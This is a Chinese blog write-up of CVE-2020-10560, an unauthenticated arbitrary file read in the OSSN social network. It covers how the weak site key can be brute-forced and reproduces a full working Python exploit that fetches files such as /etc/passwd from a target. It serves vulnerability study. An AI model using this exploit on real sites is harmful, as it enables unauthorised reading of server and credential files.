零.前言:
前几天写了一款Github Rce/0day 监控器,这几天收获颇丰.
正好瞄到了CVE-2020-10560,OSSN这个程序是国外的开源社交网络系统,下载数量达50万
可直接使用Docker一键搭建.
一.分析:
让我们来到 /components/OssnComments/ossn_com.php 文件中的第316行
case 'staticimage':
$image = base64_decode(input('image'));
if(!empty($image)) {
$file = ossn_string_decrypt(base64_decode($image));
header('content-type: image/jpeg');
$file = rtrim(ossn_validate_filepath($file), '/');
if(is_file($file)) {
echo file_get_contents($file);
} else {
ossn_error_page();
}
} else {
ossn_error_page();
}
break;
它从文件中使用 file_get_contents($file) 读取数据,并对图片进行BASE64加密后储存.
我们在OSSN中上传一个图片试试.
它对服务器发送了一个请求,并将图片储存起来,并且无需身份验证即可进行访问.
所以 base64字符串已以某种方式用于构造文件路径,然后将其回显到页面.
现在我们来看下ossn_string_decrypt的操作,应用程序从URL image参数获取B64字符串,然后base64对其进行两次解码。然后将结果输出传递给此函数.
function ossn_string_decrypt($string = '', $key = '') {
if (empty($string)) {
return false;
}
if (empty($key)) {
$key = ossn_site_settings('site_key');
}
$key = ossn_string_encrypt_key_cycled($key);
$size = openssl_cipher_iv_length('bf-ecb');
$mcgetvi = openssl_random_pseudo_bytes($size);
//note mcrypt and now this acting mcrpyt adds the spaces to make 16 bytes if its less then 16 bytes
//you can use trim() to get orignal data without spaces
return openssl_decrypt($string, "bf-ecb", $key, OPENSSL_RAW_DATA | OPENSSL_NO_PADDING, $mcgetvi);
}
但是前提还需要 Site Key,Site Key是存储在数据库中的.
并且是一个8位的字串符.所以我们可以对其进行爆破来获取Key的值.
这是创建Site Key的函数:
function ossn_generate_site_secret() {
return substr(md5('ossn' . rand()), 3, 8);
Key 是小写的十六进制,因此每个字符有16个可能的选项,还有以下规则:
以字符串“ ossn”开头。
用PHP rand()计算一个随机数。
将数字附加到第一个字符串。
计算此新字符串的md5哈希值。
将字符3-11用作site_key。
综上所述,我们需要爆破 281474976710656 次!
但是在php7或更高版本中使用rand()函数,最大可能值为 2147483647
. 所以我们可以将爆破的范围从大约282万亿减少到仅20亿次.
我们可以针对20亿个rand值中的每个值计算每个md5数值. 从 ossn1
到 ossn2147483647
.
我们如果使用Python编写枚举脚本, 平均速度约为每秒2000次尝试 ,所以我们至少需要两周时间来获得 Site Key.
我们用C语言来进行编写.
生成固定数量的生成器线程,并在它们之间分配可用的键空间, 我们运行了4个生成器线程,因此将 2147483647次 分成了四分之一,每个四分之一都传递给了一个不同的生成器线程.
每个生成器线程都枚举其分配的值范围,以便根据OSSN源代码为每次解密尝试构造Key.每个值都附加到字符串中 ossn
,然后对结果进行MD5 Hash处理,并提取所得Hash的字符3-11并将其传递给新线程,以处理进一步的Key准备和实际的解密尝试 .
在此过程中一个有趣的发现是认识到 Blowfish 的密钥扩展未在PHP的OpenSSL拓展中,密钥少于128位(16个字节)是零填充到128位.
但应根据该算法的发明者使用键循环。PHP开发人员添加了一个新常量OPENSSL_DONT_ZERO_PAD_KEY
,该常量指示调用 openssl_encrypt()
使用键循环而不是零填充。
但是,默认实现仍使用零填充,OSSN包含自己的密钥循环功能,该功能用于循环最多20个字符的密钥,因此 test1234
会变成 test1234test1234test
.
剩下的就是实现密钥循环并开始逐块解密密文并检查输出是否为已知明文. C语言实现平均每秒执行约45,000次尝试,这意味着尝试每个秘钥花费13个小时以上 .
爆破Key程序: https://github.com/LucidUnicorn/CVE-2020-10560-Key-Recovery/
二.复现:
爆破Site Key过程省略. 获得Key为:b4b1eb0b
国外小哥开发的POC脚本: https://github.com/kevthehermit/CVE-2020-10560
脚本使用方法: Python3 poc.py SiteKey FilePath Website
读取首页试试:
Python脚本:
#!/usr/bin/python3
import sys
import requests
from base64 import b64encode, b64decode
from Crypto.Cipher import Blowfish
def decrypt_blowfish(site_key, cipher_text):
raw = b64decode(b64decode(cipher_text))
cipher = Blowfish.new(site_key, Blowfish.MODE_ECB)
return cipher.decrypt(raw)
def encrypt_blowfish(site_key, clear_text):
cipher = Blowfish.new(site_key, Blowfish.MODE_ECB)
# PHP Uses a null byte padding
bs = Blowfish.block_size
plen = bs - (len(clear_text) % bs)
padding = '\x00' * plen
padded_text = clear_text + padding
encrytped = cipher.encrypt(padded_text)
return b64encode(b64encode(encrytped))
if len(sys.argv) < 4:
print("Not enough args")
print("Usage: python poc.py sitekey /etc/passwd http://10.2.0.102")
sys.exit()
site_key = sys.argv[1]
file_path = sys.argv[2]
target_site = sys.argv[3]
# This is super lazy
blowfish_key = "{0}{0}{0}".format(site_key)[:20]
image_b64 = encrypt_blowfish(blowfish_key, file_path).decode('utf-8')
base_url = "{0}/comment/staticimage?image={1}".format(target_site, image_b64)
print("Requesting {0}\n".format(base_url))
response = requests.get(base_url)
print(response.text)
参考文章:https://techanarchy.net/blog/cve-2020-10560-ossn-arbitrary-file-read